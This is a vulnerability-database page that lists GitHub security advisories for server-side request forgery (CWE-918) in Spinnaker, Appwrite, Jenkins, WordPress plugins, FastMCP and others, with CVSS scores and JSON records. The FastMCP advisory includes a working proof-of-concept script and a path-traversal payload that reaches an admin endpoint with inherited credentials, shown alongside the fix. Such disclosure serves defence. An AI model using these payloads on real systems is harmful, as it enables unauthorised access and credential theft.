Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4615 vulnerabilities reference this CWE, most recent first.

GHSA-VRJC-Q2FH-6X9H

Vulnerability from github – Published: 2026-01-05 22:55 – Updated: 2026-01-06 15:51
VLAI
Summary
Spinnaker vulnerable to SSRF due to improper restrictions on http from user input
Details

Impact

The primary impact is allowing users to fetch data from a remote URL. This data can be then injected into Spinnaker pipelines via helm or other methods to extract things LIKE idmsv1 authentication data. This ALSO includes calling INTERNAL Spinnaker API's via a get and similar endpoints. Further, depending upon the artifact configuration, auth data may be exposed to arbitrary endpoints (e.g. GitHub auth headers) leading to credentials exposure.

To trigger this, a Spinnaker installation MUST have: * An artifact enabled that allows user input. This includes GitHub file artifacts, BitBucket, GitLab, HTTP artifacts and similar artifact providers. JUST enabling the http artifact provider will add a "no-auth" http provider that could be used to extract link local data (e.g. AWS Metadata information). * A system that can consume the output of these artifacts. E.g. Rosco helm can use this to fetch values data. K8s account manifests if the API returns JSON can be used to inject that data into the pipeline itself though the pipeline would fail.

To note, due to the way the URLs are viable to be injected, CERTAIN systems can be used to provide DOS attacks on Spinnaker itself. These would NOT compromise the system per se, given restarts and timeout configuration, but could lead to internal attacks by a Spinnaker user against Spinnaker services. An example is that an artifact fetch reference could return an infinite response data feed or similar that can act as a DOS attack. It's recommended to set strong limits on the various http limits AND artifact URLs to known valid URLs.

Patches

Fixed in clouddriver versiosn 2025.2.3, 2025.1.5, 2025.0.9. Impacts all prior Spinnaker releases.

Workarounds

Disable HTTP account types that allow user input of a given URL. This is probably not feasible in MOST cases. Git, Docker and other artifact account types with explicit URL configurations bypass this limitation and should be safe as they limit artifact URL loading.

Alternatively using one of the various vendors which provide OPA policies to restrict pipelines from accessing or saving a pipeline with invalid URLs.

Severity
7.9 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.2.0"
            },
            {
              "fixed": "2025.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-523",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T22:55:12Z",
    "nvd_published_at": "2026-01-05T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe primary impact is allowing users to fetch data from a remote URL.  This data can be then injected into Spinnaker pipelines via helm or other methods to extract things LIKE idmsv1 authentication data.  This ALSO includes calling INTERNAL Spinnaker API\u0027s via a get and similar endpoints.  Further, depending upon the artifact configuration, auth data may be exposed to arbitrary endpoints (e.g. GitHub auth headers) leading to credentials exposure.   \n\nTo trigger this, a Spinnaker installation MUST have:\n* An artifact enabled that allows user input.  This includes GitHub file artifacts, BitBucket, GitLab, HTTP artifacts and similar artifact providers.  JUST enabling the http artifact provider will add a \"no-auth\" http provider that could be used to extract link local data (e.g. AWS Metadata information).\n* A system that can consume the output of these artifacts.  E.g. Rosco helm can use this to fetch values data.  K8s account manifests if the API returns JSON can be used to inject that data into the pipeline itself though the pipeline would fail.\n\nTo note, due to the way the URLs are viable to be injected, CERTAIN systems can be used to provide DOS attacks on Spinnaker itself.  These would NOT compromise the system per se, given restarts and timeout configuration, but could lead to internal attacks by a Spinnaker user against Spinnaker services.  An example is that an artifact fetch reference could return an infinite response data feed or similar that can act as a DOS attack.  It\u0027s recommended to set strong limits on the various http limits AND artifact URLs to known valid URLs. \n\n### Patches\nFixed in clouddriver versiosn 2025.2.3, 2025.1.5, 2025.0.9.  Impacts all prior Spinnaker releases.\n\n### Workarounds\nDisable HTTP account types that allow user input of a given URL.  This is probably not feasible in MOST cases.  Git, Docker and other artifact account types with explicit URL configurations bypass this limitation and should be safe as they limit artifact URL loading.\n\nAlternatively using one of the various vendors which provide OPA policies to restrict pipelines from accessing or saving a pipeline with invalid URLs.",
  "id": "GHSA-vrjc-q2fh-6x9h",
  "modified": "2026-01-06T15:51:46Z",
  "published": "2026-01-05T22:55:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-vrjc-q2fh-6x9h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61916"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spinnaker/spinnaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spinnaker vulnerable to SSRF due to improper restrictions on http from user input"
}

GHSA-VRJF-GPPF-QVJ4

Vulnerability from github – Published: 2024-01-30 12:30 – Updated: 2024-01-30 12:30
VLAI
Details

Appwrite <= v1.4.13 is affected by a Server-Side Request Forgery (SSRF) via the '/v1/avatars/favicon' endpoint due to an incomplete fix of CVE-2023-27159.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-30T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Appwrite \u003c= v1.4.13 is affected by a Server-Side Request Forgery (SSRF) via the \u0027/v1/avatars/favicon\u0027 endpoint due to an incomplete fix of CVE-2023-27159.\n",
  "id": "GHSA-vrjf-gppf-qvj4",
  "modified": "2024-01-30T12:30:18Z",
  "published": "2024-01-30T12:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1063"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2024-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRPC-XCXW-RWH3

Vulnerability from github – Published: 2025-08-23 06:30 – Updated: 2025-08-23 06:30
VLAI
Details

The Events Calendar, Event Booking, Registrations and Event Tickets – Eventin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.37 via the proxy_image function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-23T06:15:29Z",
    "severity": "HIGH"
  },
  "details": "The Events Calendar, Event Booking, Registrations and Event Tickets \u2013 Eventin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.37 via the proxy_image function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-vrpc-xcxw-rwh3",
  "modified": "2025-08-23T06:30:21Z",
  "published": "2025-08-23T06:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7813"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-event-solution/trunk/core/Admin/hooks.php#L451"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3345781/wp-event-solution/tags/4.0.38/core/Admin/hooks.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a73f806d-5d64-4df5-b032-3d3a149036ff?source=cve"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-event-solution/event-manager-events-calendar-tickets-registrations-eventin-4026-unauthenticated-arbitrary-file-read"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRPG-C7C4-8MPX

Vulnerability from github – Published: 2023-09-06 15:30 – Updated: 2024-01-30 23:07
VLAI
Summary
SSRF vulnerability in Jenkins Bitbucket Push and Pull Request Plugin allows capturing credentials
Details

Jenkins Bitbucket Push and Pull Request Plugin 2.4.0 through 2.8.3 (both inclusive) trusts values provided in the webhook payload, including certain URLs, and uses configured Bitbucket credentials to connect to those URLs, allowing attackers to capture Bitbucket credentials stored in Jenkins by sending a crafted webhook payload.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.8.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:bitbucket-push-and-pull-request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T23:07:57Z",
    "nvd_published_at": "2023-09-06T13:15:10Z",
    "severity": "HIGH"
  },
  "details": "Jenkins Bitbucket Push and Pull Request Plugin 2.4.0 through 2.8.3 (both inclusive) trusts values provided in the webhook payload, including certain URLs, and uses configured Bitbucket credentials to connect to those URLs, allowing attackers to capture Bitbucket credentials stored in Jenkins by sending a crafted webhook payload.",
  "id": "GHSA-vrpg-c7c4-8mpx",
  "modified": "2024-01-30T23:07:57Z",
  "published": "2023-09-06T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41937"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-09-06/#SECURITY-3165"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/09/06/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF vulnerability in Jenkins Bitbucket Push and Pull Request Plugin allows capturing credentials"
}

GHSA-VRQ5-Q7CF-PV79

Vulnerability from github – Published: 2024-08-02 00:31 – Updated: 2026-04-01 18:31
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in Pixelcurve Edubin edubin.This issue affects Edubin: from n/a through 9.2.0.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-01T22:15:25Z",
    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in Pixelcurve Edubin edubin.This issue affects Edubin: from n/a through 9.2.0.",
  "id": "GHSA-vrq5-q7cf-pv79",
  "modified": "2026-04-01T18:31:52Z",
  "published": "2024-08-02T00:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39637"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/edubin/vulnerability/wordpress-edubin-theme-9-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/edubin/wordpress-edubin-theme-9-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRVX-WXGQ-324J

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in activewebsight SEO Backlink Monitor allows Server Side Request Forgery. This issue affects SEO Backlink Monitor: from n/a through 1.6.0.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in activewebsight SEO Backlink Monitor allows Server Side Request Forgery. This issue affects SEO Backlink Monitor: from n/a through 1.6.0.",
  "id": "GHSA-vrvx-wxgq-324j",
  "modified": "2026-04-01T18:36:09Z",
  "published": "2025-09-22T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53457"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/seo-backlink-monitor/vulnerability/wordpress-seo-backlink-monitor-plugin-1-6-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VV7Q-7JX5-F767

Vulnerability from github – Published: 2026-03-31 22:53 – Updated: 2026-04-10 19:34
VLAI
Summary
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Details

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"

    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"

    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:53:21Z",
    "nvd_published_at": "2026-04-02T15:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "GHSA-vv7q-7jx5-f767",
  "modified": "2026-04-10T19:34:35Z",
  "published": "2026-03-31T22:53:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability"
}

GHSA-VVCP-MP6Q-W29J

Vulnerability from github – Published: 2025-07-04 12:30 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in TeconceTheme Allmart allows Server Side Request Forgery. This issue affects Allmart: from n/a through 1.0.0.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T12:15:31Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in TeconceTheme Allmart allows Server Side Request Forgery. This issue affects Allmart: from n/a through 1.0.0.",
  "id": "GHSA-vvcp-mp6q-w29j",
  "modified": "2026-04-01T18:35:45Z",
  "published": "2025-07-04T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49418"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/allmart-core/vulnerability/wordpress-allmart-1-0-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVH3-7X7M-53XF

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 15:32
VLAI
Details

The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).

Severity
3.2 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T06:16:05Z",
    "severity": "LOW"
  },
  "details": "The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).",
  "id": "GHSA-vvh3-7x7m-53xf",
  "modified": "2025-09-16T15:32:31Z",
  "published": "2025-09-16T15:32:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59437"
    },
    {
      "type": "WEB",
      "url": "https://cosmosofcyberspace.github.io/CVE-Application-Document.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVV2-P9HV-8634

Vulnerability from github – Published: 2026-03-11 15:31 – Updated: 2026-03-11 15:31
VLAI
Details

An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information

Severity
7.5 (High)
